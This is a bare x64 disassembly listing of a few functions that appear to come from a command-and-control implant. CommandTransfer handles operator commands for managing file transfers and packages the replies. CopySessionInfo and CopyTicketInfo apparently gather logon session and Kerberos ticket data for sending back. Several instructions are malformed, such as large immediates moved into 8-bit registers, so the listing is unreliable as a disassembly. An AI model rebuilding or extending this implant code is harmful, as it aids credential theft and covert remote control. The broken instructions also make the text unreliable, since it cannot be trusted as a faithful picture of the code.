14000f16emov rcx, [rsp+64]
14000f173mov edx, [rax+rsi+1040]
14000f17acall PackageAddInt32
14000f17fmov rax, [rsp+104]
14000f184mov rcx, [rsp+64]
14000f189mov edx, [rax+rsi+1044]
14000f190call PackageAddInt32
14000f195mov rax, [rsp+104]
14000f19amov rcx, [rsp+64]
14000f19fmov edx, [rax+rsi+1048]
14000f1a6call PackageAddInt32
14000f1abjmp 0x14000f11a
14000f1b0
14000f1b0loc_14000f1b0:
14000f1b0mov rcx, [rsp+64]
14000f1b5add rsp, 376
14000f1bcpop rbx
14000f1bdpop rsi
14000f1bepop rdi
14000f1bfpop rbp
14000f1c0pop r12
14000f1c2pop r13
14000f1c4pop r14
14000f1c6pop r15
14000f1c8jmp 0x140018b90
14000e810

14000f1cd
14000f1cd // align 0x10

14000f1d0
14000f1d0CommandTransfer:
14000f1d0push r12
14000f1d2push rbp
14000f1d3mov rbp, rcx
14000f1d6mov ecx, 2530
14000f1dbpush rdi
14000f1dcpush rsi
14000f1ddpush rbx
14000f1desub rsp, 32
14000f1e2call PackageCreate
14000f1e7mov rcx, rbp
14000f1eamov rsi, rax
14000f1edcall ParserGetInt32
14000f1f2mov rcx, rsi
14000f1f5mov edi, eax
14000f1f7mov rax, [rip+0x1d172]
14000f1femov edx, edi
14000f200mov rbx, [rax+2310]
14000f207call PackageAddInt32
14000f20ccmp edi, 2
14000f20fje 0x14000f321
14000f215jg 0x14000f256
14000f217test edi, edi
14000f219je 0x14000f291
14000f21bcmp edi, 1
14000f21ejne 0x14000f41c
14000f224lea r12, [rip+0x1dfc5]
14000f22blea r9, [rip+0x16e4b]
14000f232mov r8l, 2579
14000f238mov rdx, r12
14000f23blea rcx, [rip+0x16dc6]
14000f242call printf
14000f247mov rcx, rbp
14000f24acall ParserGetInt32
14000f24fmov ebp, eax
14000f251jmp 0x14000f2e4
14000f256
14000f256loc_14000f256:
14000f256cmp edi, 3
14000f259jne 0x14000f41c
14000f25flea r12, [rip+0x1df8a]
14000f266lea r9, [rip+0x16e65]
14000f26dmov r8l, 2634
14000f273mov rdx, r12
14000f276lea rcx, [rip+0x16d8b]
14000f27dcall printf
14000f282mov rcx, rbp
14000f285call ParserGetInt32
14000f28amov edi, eax
14000f28cjmp 0x14000f38e
14000f291
14000f291loc_14000f291:
14000f291lea r9, [rip+0x16dd6]
14000f298mov r8l, 2562
14000f29elea rdx, [rip+0x1df4b]
14000f2a5lea rcx, [rip+0x16d5c]
14000f2accall printf
14000f2b1
14000f2b1loc_14000f2b1:
14000f2b1test rbx, rbx
14000f2b4je 0x14000f41c
14000f2bamov edx, [rbx]
14000f2bcmov rcx, rsi
14000f2bfcall PackageAddInt32
14000f2c4mov edx, [rbx+32]
14000f2c7mov rcx, rsi
14000f2cacall PackageAddInt32
14000f2cfmov edx, [rbx+40]
14000f2d2mov rcx, rsi
14000f2d5call PackageAddInt32
14000f2damov rbx, [rbx+48]
14000f2dejmp 0x14000f2b1
14000f2e0
14000f2e0loc_14000f2e0:
14000f2e0mov rbx, [rbx+48]
14000f2e4
14000f2e4loc_14000f2e4:
14000f2e4test rbx, rbx
14000f2e7je 0x14000f30e
14000f2e9cmp [rbx], ebp
14000f2ebjne 0x14000f2e0
14000f2edmov [rbx+40], 2
14000f2f4mov r9l, ebp
14000f2f7mov r8l, 2593
14000f2fdmov rdx, r12
14000f300lea rcx, [rip+0x16d85]
14000f307call printf
14000f30cjmp 0x14000f310
14000f30e
14000f30eloc_14000f30e:
14000f30exor edi, edi
14000f310
14000f310loc_14000f310:
14000f310mov edx, edi
14000f312mov rcx, rsi
14000f315call PackageAddInt32
14000f31amov edx, ebp
14000f31cjmp 0x14000f414
14000f321
14000f321loc_14000f321:
14000f321lea r12, [rip+0x1dec8]
14000f328lea r9, [rip+0x16d92]
14000f32fmov r8l, 2606
14000f335mov rdx, r12
14000f338lea rcx, [rip+0x16cc9]
14000f33fcall printf
14000f344mov rcx, rbp
14000f347call ParserGetInt32
14000f34cmov edi, eax
14000f34e
14000f34eloc_14000f34e:
14000f34etest rbx, rbx
14000f351je 0x14000f408
14000f357cmp [rbx], edi
14000f359jne 0x14000f384
14000f35bmov [rbx+40], 1
14000f362mov rdx, r12
14000f365mov r9l, edi
14000f368mov r8l, 2620
14000f36elea rcx, [rip+0x16d17]
14000f375call printf
14000f37amov edx, 1
14000f37fjmp 0x14000f40a
14000f384
14000f384loc_14000f384:
14000f384mov rbx, [rbx+48]
14000f388jmp 0x14000f34e
14000f38a
14000f38aloc_14000f38a:
14000f38amov rbx, [rbx+48]
14000f38e
14000f38eloc_14000f38e:
14000f38etest rbx, rbx
14000f391je 0x14000f408
14000f393cmp [rbx], edi
14000f395jne 0x14000f38a
14000f397mov [rbx+40], 3
14000f39emov r9l, edi
14000f3a1mov r8l, 2648
14000f3a7mov rdx, r12
14000f3aalea rcx, [rip+0x16cdb]
14000f3b1call printf
14000f3b6mov rcx, rsi
14000f3b9mov edx, 1
14000f3becall PackageAddInt32
14000f3c3mov edx, edi
14000f3c5mov rcx, rsi
14000f3c8call PackageAddInt32
14000f3cdmov ecx, 2530
14000f3d2call PackageCreate
14000f3d7mov edx, 3
14000f3dcmov rbx, rax
14000f3dfmov rcx, rax
14000f3e2call PackageAddInt32
14000f3e7mov edx, edi
14000f3e9mov rcx, rbx
14000f3eccall PackageAddInt32
14000f3f1mov rcx, rbx
14000f3f4mov edx, 1
14000f3f9call PackageAddInt32
14000f3femov rcx, rbx
14000f401call PackageTransmit
14000f406jmp 0x14000f41c
14000f408
14000f408loc_14000f408:
14000f408xor edx, edx
14000f40a
14000f40aloc_14000f40a:
14000f40amov rcx, rsi
14000f40dcall PackageAddInt32
14000f412mov edx, edi
14000f414
14000f414loc_14000f414:
14000f414mov rcx, rsi
14000f417call PackageAddInt32
14000f41c
14000f41cloc_14000f41c:
14000f41cadd rsp, 32
14000f420mov rcx, rsi
14000f423pop rbx
14000f424pop rsi
14000f425pop rdi
14000f426pop rbp
14000f427pop r12
14000f429jmp 0x140018b90
14000f1d0

14000f42e
14000f42e // align 0x10

14000f430
14000f430CopySessionInfo:
14000f430push rbp
14000f431mov rbp, rcx
14000f434push rdi
14000f435mov rdi, rbp
14000f438lea rax, [rbp+1024]
14000f43fpush rsi
14000f440push rbx
14000f441mov rbx, rdx
14000f444sub rsp, 56
14000f448mov rsi, [rdx+24]
14000f44cmovzx ecx, [rdx+16]
14000f450rep movsb [rdi], [rsi]
14000f452mov rdi, rax
14000f455mov rsi, [rdx+40]
14000f459movzx ecx, [rdx+32]
14000f45drep movsb [rdi], [rsi]
14000f45fmov rsi, [rip+0x1cf0a]
14000f466xor ecx, ecx
14000f468mov [rsp+40], rcx
14000f46dmov eax, [rdx+4]
14000f470mov rcx, [rbx+72]
14000f474mov [rbp+2048], eax
14000f47amov eax, [rdx+8]
14000f47dmov [rbp+2052], eax
14000f483mov eax, [rdx+68]
14000f486lea rdx, [rsp+40]
14000f48bmov [rbp+2056], eax
14000f491call [rsi+1468]
14000f497test eax, eax
14000f499je 0x14000f4be
14000f49bmov rdx, [rsp+40]
14000f4a0lea rcx, [rbp+2060]
14000f4a7call StringCopyW
14000f4acmov rcx, [rsp+40]
14000f4b1call [rsi+940]
14000f4b7xor edx, edx
14000f4b9mov [rsp+40], rdx
14000f4be
14000f4beloc_14000f4be:
14000f4bemov rax, [rbx+80]
14000f4c2mov rsi, [rbx+56]
14000f4c6movzx ecx, [rbx+48]
14000f4camov [rbp+3088], rax
14000f4d1mov eax, [rbx+64]
14000f4d4mov [rbp+3096], eax
14000f4dalea rax, [rbp+3100]
14000f4e1mov rdi, rax
14000f4e4lea rax, [rbp+4124]
14000f4ebrep movsb [rdi], [rsi]
14000f4edmov rdi, rax
14000f4f0lea rax, [rbp+5148]
14000f4f7mov rsi, [rbx+96]
14000f4fbmovzx ecx, [rbx+88]
14000f4ffrep movsb [rdi], [rsi]
14000f501mov rdi, rax
14000f504lea rax, [rbp+6172]
14000f50bmov rsi, [rbx+112]
14000f50fmovzx ecx, [rbx+104]
14000f513rep movsb [rdi], [rsi]
14000f515mov rdi, rax
14000f518xor eax, eax
14000f51amov rsi, [rbx+128]
14000f521movzx ecx, [rbx+120]
14000f525rep movsb [rdi], [rsi]
14000f527mov [rbp+7200], rax
14000f52eadd rsp, 56
14000f532pop rbx
14000f533pop rsi
14000f534pop rdi
14000f535pop rbp
14000f536ret
14000f430

14000f537
14000f537 // align 0x10

14000f540
14000f540CopyTicketInfo:
14000f540mov r8, rcx
14000f543push rdi
14000f544mov rax, rdx
14000f547push rsi
14000f548mov rdi, r8
14000f54bmov rsi, [rdx+8]
14000f54fmovzx ecx, [rdx]
14000f552lea rdx, [r8+1024]
14000f559rep movsb [rdi], [rsi]
14000f55bmov rdi, rdx
14000f55elea rdx, [r8+2048]
14000f565mov rsi, [rax+24]
14000f569movzx ecx, [rax+16]
14000f56drep movsb [rdi], [rsi]
14000f56fmov rdi, rdx
14000f572lea rdx, [r8+3072]
14000f579mov rsi, [rax+40]
14000f57dmovzx ecx, [rax+32]
14000f581rep movsb [rdi], [rsi]
14000f583mov rdi, rdx
14000f586mov rsi, [rax+56]
14000f58amovzx ecx, [rax+48]
14000f58erep movsb [rdi], [rsi]
14000f590mov edx, [rax+64]
14000f593mov [r8+4096], edx
14000f59amov edx, [rax+68]
14000f59dmov [r8+4100], edx
14000f5a4mov edx, [rax+72]
14000f5a7mov [r8+4104], edx
14000f5aemov edx, [rax+76]
14000f5b1mov [r8+4108], edx
14000f5b8mov edx, [rax+80]
14000f5bbmov [r8+4112], edx
14000f5c2mov edx, [rax+84]
14000f5c5mov [r8+4116], edx
14000f5ccmov edx, [rax+88]
14000f5cfmov [r8+4120], edx
14000f5d6mov eax, [rax+92]
14000f5d9xor edx, edx
14000f5dbpop rsi
14000f5dcpop rdi
14000f5ddmov [r8+4136], edx
14000f5e4mov [r8+4124], eax
14000f5ebxor eax, eax
14000f5edmov [r8+4128], rax
14000f5f4ret
14000f540